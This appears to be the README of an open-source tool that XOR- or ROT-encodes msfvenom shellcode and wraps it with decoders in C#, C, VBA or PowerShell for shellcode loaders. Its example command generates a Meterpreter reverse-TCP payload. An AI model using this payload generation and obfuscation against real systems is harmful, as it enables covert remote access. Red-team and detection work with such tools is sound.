shellcode-encoder

CLI utility to encode msfvenom generated shellcode.

Reads shellcode in hex format from stdin, and then performs selected encoding and outputs encoded shellcode with a decoding routine.

Intended use is for shellcode loaders.

Supported encodings:

• XOR
• ROT

Supported output formats:

• C# (csharp)
• C (c)
• VBA (vbapplication)
• PowerShell (ps1)

Installation

cargo install --git https://github.com/aol1306/shellcode-encoder

Example usage

Encode shellcode from msfvenom using XOR operation (output[i] = shellcode[i] ^ 17):

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1337 -f hex | shellcode-encoder -f csharp -e xor -k 17

View help:

shellcode-encoder --help

Tips

• Any bin file can be easily converted to the required hex format by piping it to hexdump -ve '1/1 "%.2x"'.